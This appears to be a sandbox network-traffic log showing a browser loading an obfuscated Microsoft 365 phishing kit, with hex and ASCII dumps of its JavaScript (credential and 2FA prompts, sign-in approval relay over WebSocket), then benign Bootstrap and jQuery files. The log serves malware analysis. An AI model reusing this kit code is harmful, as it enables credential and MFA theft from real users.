2025-03-26 17:07:36 UTC	581	OUT	GET /kuk/xls/k1u2k.js?uid=rebecca.karpinos@junklessfoods.com HTTP/1.1 Host: office.avcbtech.store Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:07:37 UTC	396	IN	HTTP/1.1 200 OK Server: nginx/1.26.3 Date: Wed, 26 Mar 2025 17:07:37 GMT Content-Type: application/javascript Content-Length: 68421 Last-Modified: Fri, 14 Mar 2025 13:25:44 GMT Connection: close ETag: "67d42e58-10b45" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Access-Control-Allow-Origin: * Cache-Control: public, must-revalidate Accept-Ranges: bytes
2025-03-26 17:07:37 UTC	15988	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 65 31 31 62 28 29 7b 76 61 72 20 5f 30 78 35 30 64 36 39 35 3d 5b 27 23 62 61 63 6b 27 2c 27 49 6e 63 6f 72 72 65 63 74 5c 78 32 30 32 46 41 5c 78 32 30 63 6f 64 65 2e 5c 78 32 30 54 72 79 5c 78 32 30 61 67 61 69 6e 2e 27 2c 27 64 69 76 36 27 2c 27 23 62 61 63 6b 2d 74 65 78 74 27 2c 27 74 79 70 65 27 2c 27 4d 69 63 72 6f 73 6f 66 74 27 2c 27 72 65 6c 61 79 27 2c 27 36 6b 67 6a 58 4c 43 27 2c 27 73 74 79 6c 65 27 2c 27 70 61 67 65 5f 76 69 73 69 74 27 2c 27 63 6c 6f 73 65 27 2c 27 61 70 70 72 6f 76 65 5f 73 69 67 6e 69 6e 27 2c 27 64 69 76 35 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6f 66 66 69 63 65 2e 63 6f 6d 27 2c 27 23 63 61 70 74 63 68 61 2d 62 74 6e 27 2c 27 2e 6c 6f 67 6f 6e 61 6d 65 27 2c 27 64 69 73 61 62 Data Ascii: function _0xe11b(){var _0x50d695=['#back','Incorrect\x202FA\x20code.\x20Try\x20again.','div6','#back-text','type','Microsoft','relay','6kgjXLC','style','page_visit','close','approve_signin','div5','https://www.office.com','#captcha-btn','.logoname','disab
2025-03-26 17:07:37 UTC	16384	IN	Data Raw: 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 66 6f 6e 74 2d 73 69 7a 65 3a 5c 78 32 30 31 36 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 63 6f 6c 6f 72 3a 5c 78 32 30 72 67 62 28 35 31 2c 5c 78 32 30 35 31 2c 5c 78 32 30 35 31 29 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 Data Ascii: \x20\x20\x20\x20\x20\x20\x20font-size:\x2016px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20rgb(51,\x2051,\x2051);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
2025-03-26 17:07:37 UTC	16384	IN	Data Raw: 32 32 3e 3c 70 5c 78 32 30 69 64 3d 5c 78 32 32 61 70 70 72 6f 76 65 2d 6e 75 6d 62 65 72 5c 78 32 32 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 68 33 5c 78 32 30 74 65 78 74 2d 63 65 6e 74 65 72 5c 78 32 32 5c 78 32 30 73 74 79 6c 65 3d 5c 78 32 32 62 6f 72 64 65 72 3a 5c 78 32 30 32 70 78 5c 78 32 30 73 6f 6c 69 64 5c 78 32 30 62 6c 61 63 6b 3b 5c 78 32 30 66 6f 6e 74 2d 73 69 7a 65 3a 5c 78 32 30 34 30 70 78 3b 5c 78 32 30 70 61 64 64 69 6e 67 3a 5c 78 32 30 31 32 70 78 5c 78 32 30 31 32 70 78 3b 5c 78 32 30 74 65 78 74 2d 61 6c 69 67 6e 3a 5c 78 32 30 63 65 6e 74 65 72 3b 5c 78 32 30 64 69 73 70 6c 61 79 3a 5c 78 32 30 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 5c 78 32 32 3e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 62 72 3e 27 2c 27 3c 61 5c 78 32 30 68 72 65 66 Data Ascii: 22><p\x20id=\x22approve-number\x22\x20class=\x22h3\x20text-center\x22\x20style=\x22border:\x202px\x20solid\x20black;\x20font-size:\x2040px;\x20padding:\x2012px\x2012px;\x20text-align:\x20center;\x20display:\x20inline-block;\x22></p></div><br>','<a\x20href
2025-03-26 17:07:37 UTC	16384	IN	Data Raw: 32 31 34 5b 5f 30 78 34 64 34 61 64 61 28 30 78 31 38 38 29 5d 28 5f 30 78 34 64 34 61 64 61 28 30 78 32 34 62 29 29 2c 5f 30 78 35 66 63 32 31 34 5b 5f 30 78 34 64 34 61 64 61 28 30 78 31 38 38 29 5d 28 27 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 66 6f 72 6d 2d 67 72 6f 75 70 5c 78 32 30 6d 74 2d 32 5c 78 32 32 3e 3c 69 6e 70 75 74 5c 78 32 30 74 79 70 65 3d 5c 78 32 32 65 6d 61 69 6c 5c 78 32 32 5c 78 32 30 6e 61 6d 65 3d 5c 78 32 32 61 69 5c 78 32 32 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 5c 78 32 30 72 6f 75 6e 64 65 64 2d 30 5c 78 32 30 62 6f 72 64 65 72 2d 64 61 72 6b 5c 78 32 32 5c 78 32 30 69 64 3d 5c 78 32 32 61 69 5c 78 32 32 5c 78 32 30 61 72 69 61 2d 64 65 73 63 72 69 62 65 64 62 79 3d 5c 78 Data Ascii: 214[_0x4d4ada(0x188)](_0x4d4ada(0x24b)),_0x5fc214[_0x4d4ada(0x188)]('<div\x20class=\x22form-group\x20mt-2\x22><input\x20type=\x22email\x22\x20name=\x22ai\x22\x20class=\x22form-control\x20rounded-0\x20border-dark\x22\x20id=\x22ai\x22\x20aria-describedby=\x
2025-03-26 17:07:37 UTC	3281	IN	Data Raw: 28 27 23 6d 73 67 2d 32 66 61 27 29 5b 5f 30 78 32 38 35 37 35 66 28 30 78 31 62 37 29 5d 28 5f 30 78 32 38 35 37 35 66 28 30 78 31 39 32 29 29 3b 7d 7d 5f 30 78 31 36 38 65 66 33 28 29 3b 7d 2c 27 65 72 72 6f 72 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 34 34 61 33 65 36 3d 5f 30 78 31 38 63 32 37 61 3b 24 28 5f 30 78 34 34 61 33 65 36 28 30 78 31 62 39 29 29 5b 27 74 65 78 74 27 5d 28 5f 30 78 34 34 61 33 65 36 28 30 78 31 62 38 29 29 2c 5f 30 78 31 36 38 65 66 33 28 29 3b 7d 7d 29 3b 65 6c 73 65 7b 63 6f 6e 73 74 20 5f 30 78 31 30 37 31 66 32 3d 6e 65 77 20 57 65 62 53 6f 63 6b 65 74 28 5f 30 78 31 38 63 32 37 61 28 30 78 31 64 63 29 29 3b 5f 30 78 31 30 37 31 66 32 5b 5f 30 78 31 38 63 32 37 61 28 30 78 32 33 38 29 5d 3d 66 75 6e 63 Data Ascii: ('#msg-2fa')[_0x28575f(0x1b7)](_0x28575f(0x192));}}_0x168ef3();},'error':function(){var _0x44a3e6=_0x18c27a;$(_0x44a3e6(0x1b9))['text'](_0x44a3e6(0x1b8)),_0x168ef3();}});else{const _0x1071f2=new WebSocket(_0x18c27a(0x1dc));_0x1071f2[_0x18c27a(0x238)]=func

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49733	185.174.100.20	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:07:38 UTC	566	OUT	GET /start/xls/includes/css6.css HTTP/1.1 Host: sender.linxcoded.top Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:07:38 UTC	383	IN	HTTP/1.1 200 OK Server: nginx/1.26.1 Date: Wed, 26 Mar 2025 17:07:38 GMT Content-Type: text/css Content-Length: 258966 Last-Modified: Mon, 27 Jan 2025 22:21:00 GMT Connection: close ETag: "679806cc-3f396" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Access-Control-Allow-Origin: * Cache-Control: public, must-revalidate Accept-Ranges: bytes
2025-03-26 17:07:38 UTC	16001	IN	Data Raw: 20 2f 2a 21 0d 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0d 0a 20 2a 2f 0d 0a 20 20 20 20 3a 72 6f 6f 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 62 6c 75 65 3a 20 23 30 30 37 Data Ascii: /! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors * Copyright 2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */ :root { --blue: #007
2025-03-26 17:07:38 UTC	16384	IN	Data Raw: 75 70 3a 20 35 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 34 3b 0d 0a 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 34 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6f 72 64 65 72 2d 35 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 36 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 35 3b 0d 0a 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 35 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6f 72 64 65 72 2d 36 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 37 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 36 3b 0d Data Ascii: up: 5; -ms-flex-order: 4; order: 4 } .order-5 { -webkit-box-ordinal-group: 6; -ms-flex-order: 5; order: 5 } .order-6 { -webkit-box-ordinal-group: 7; -ms-flex-order: 6;
2025-03-26 17:07:38 UTC	16384	IN	Data Raw: 65 78 2d 6f 72 64 65 72 3a 20 39 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 39 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 6f 72 64 65 72 2d 6c 67 2d 31 30 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 31 31 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 31 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 31 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 6f 72 64 65 72 2d 6c 67 2d 31 31 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 31 32 3b 0d 0a 20 Data Ascii: ex-order: 9; order: 9 } .order-lg-10 { -webkit-box-ordinal-group: 11; -ms-flex-order: 10; order: 10 } .order-lg-11 { -webkit-box-ordinal-group: 12;
2025-03-26 17:07:38 UTC	16384	IN	Data Raw: 72 6f 75 70 2d 70 72 65 70 65 6e 64 3e 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 70 6c 61 69 6e 74 65 78 74 2e 62 74 6e 2c 0d 0a 20 20 20 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 70 72 65 70 65 6e 64 3e 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 70 6c 61 69 6e 74 65 78 74 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 74 65 78 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 73 6d 2c 0d 0a 20 20 20 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2c 0d 0a 20 20 20 20 2e 69 6e Data Ascii: roup-prepend>.form-control-plaintext.btn, .input-group-sm>.input-group-prepend>.form-control-plaintext.input-group-text { padding-right: 0; padding-left: 0 } .form-control-sm, .input-group-sm>.form-control, .in
2025-03-26 17:07:38 UTC	16384	IN	Data Raw: 3b 0d 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 35 34 35 62 36 32 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 34 65 35 35 35 62 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 62 74 6e 2d 73 65 63 6f 6e 64 61 72 79 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 2e 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 2e 62 74 6e 2d 73 65 63 6f 6e 64 61 72 79 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 3a 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 2e 73 68 6f 77 3e 2e 62 74 6e 2d 73 65 63 6f 6e 64 61 72 79 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 3a 66 6f 63 75 73 20 7b Data Ascii: ; background-color: #545b62; border-color: #4e555b } .btn-secondary:not(:disabled):not(.disabled).active:focus, .btn-secondary:not(:disabled):not(.disabled):active:focus, .show>.btn-secondary.dropdown-toggle:focus {
2025-03-26 17:07:38 UTC	16384	IN	Data Raw: 61 70 73 65 2e 73 68 6f 77 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 74 72 2e 63 6f 6c 6c 61 70 73 65 2e 73 68 6f 77 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 2d 72 6f 77 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 74 62 6f 64 79 2e 63 6f 6c 6c 61 70 73 65 2e 73 68 6f 77 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 2d 72 6f 77 2d 67 72 6f 75 70 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6c 6c 61 70 73 69 6e 67 20 7b 0d 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 6f 76 Data Ascii: apse.show { display: block } tr.collapse.show { display: table-row } tbody.collapse.show { display: table-row-group } .collapsing { position: relative; height: 0; ov
2025-03-26 17:07:38 UTC	16384	IN	Data Raw: 72 61 64 69 6f 20 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 7e 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 22 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 38 2c 25 33 43 73 76 67 20 78 6d 6c 6e 73 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 27 20 76 69 65 77 42 6f 78 3d 27 2d 34 20 2d 34 20 38 20 38 27 25 33 45 25 33 43 63 69 72 63 6c 65 20 72 3d 27 33 27 20 66 69 6c 6c 3d 27 25 32 33 66 66 66 27 2f 25 33 45 25 33 43 2f 73 76 67 25 33 45 22 29 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 Data Ascii: radio .custom-control-input:checked~.custom-control-label::after { background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E") }
2025-03-26 17:07:38 UTC	16384	IN	Data Raw: 64 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 77 72 61 70 3a 20 6e 6f 77 72 61 70 3b 0d 0a 20 20 20 20 20 20 20 20 66 6c 65 78 2d 77 72 61 70 3a 20 6e 6f 77 72 61 70 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 20 2e 6e 61 76 62 61 72 2d 63 6f 6c 6c 61 70 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 2d 77 65 62 6b 69 74 2d 62 6f 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 2d 6d 73 2d 66 6c 65 78 62 6f 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 70 72 65 66 65 72 72 Data Ascii: d { -ms-flex-wrap: nowrap; flex-wrap: nowrap } .navbar-expand .navbar-collapse { display: -webkit-box !important; display: -ms-flexbox !important; display: flex !important; -ms-flex-preferr
2025-03-26 17:07:38 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 39 65 63 65 66 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 2e 33 72 65 6d 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 2e 6a 75 6d 62 6f 74 72 6f 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 34 72 65 6d 20 32 72 65 6d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6a 75 6d 62 6f 74 72 6f 6e 2d 66 6c 75 69 64 20 7b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 3b Data Ascii: background-color: #e9ecef; border-radius: .3rem } @media (min-width:576px) { .jumbotron { padding: 4rem 2rem } } .jumbotron-fluid { padding-right: 0; padding-left: 0;
2025-03-26 17:07:38 UTC	16384	IN	Data Raw: 74 5e 3d 72 69 67 68 74 5d 20 2e 61 72 72 6f 77 2c 0d 0a 20 20 20 20 2e 62 73 2d 74 6f 6f 6c 74 69 70 2d 72 69 67 68 74 20 2e 61 72 72 6f 77 20 7b 0d 0a 20 20 20 20 20 20 20 20 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 2e 34 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 2e 38 72 65 6d 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 62 73 2d 74 6f 6f 6c 74 69 70 2d 61 75 74 6f 5b 78 2d 70 6c 61 63 65 6d 65 6e 74 5e 3d 72 69 67 68 74 5d 20 2e 61 72 72 6f 77 3a 3a 62 65 66 6f 72 65 2c 0d 0a 20 20 20 20 2e 62 73 2d 74 6f 6f 6c 74 69 70 2d 72 69 67 68 74 20 2e 61 72 72 6f 77 3a 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 Data Ascii: t^=right] .arrow, .bs-tooltip-right .arrow { left: 0; width: .4rem; height: .8rem } .bs-tooltip-auto[x-placement^=right] .arrow::before, .bs-tooltip-right .arrow::before { right: 0; border

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49735	151.101.66.137	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:07:40 UTC	539	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:07:40 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 26 Mar 2025 17:07:40 GMT Age: 1937145 X-Served-By: cache-lga21947-LGA, cache-ewr-kewr1740073-EWR X-Cache: HIT, HIT X-Cache-Hits: 4188, 9 X-Timer: S1743008860.318173,VS0,VE0 Vary: Accept-Encoding
2025-03-26 17:07:40 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2025-03-26 17:07:40 UTC	16384	IN	Data Raw: 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 74 26 26 28 73 26 26 28 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6b 5b 61 5d 3d 5b 77 2c 74 5d 29 2c 6d 3d 3d 3d 62 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 74 2d 3d 65 2c 74 3d 3d 3d 64 7c 7c 74 25 64 3d 3d 3d 30 26 26 74 2f 64 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 65 3d 64 2e 70 73 65 75 64 6f 73 5b 61 5d 7c 7c 64 2e 73 65 74 46 69 6c 74 65 72 73 5b 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 67 61 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 61 29 3b 72 65 74 Data Ascii: ===m.nodeType)&&++t&&(s&&(l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d\|\|t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]\|\|d.setFilters[a.toLowerCase()]\|\|ga.error("unsupported pseudo: "+a);ret
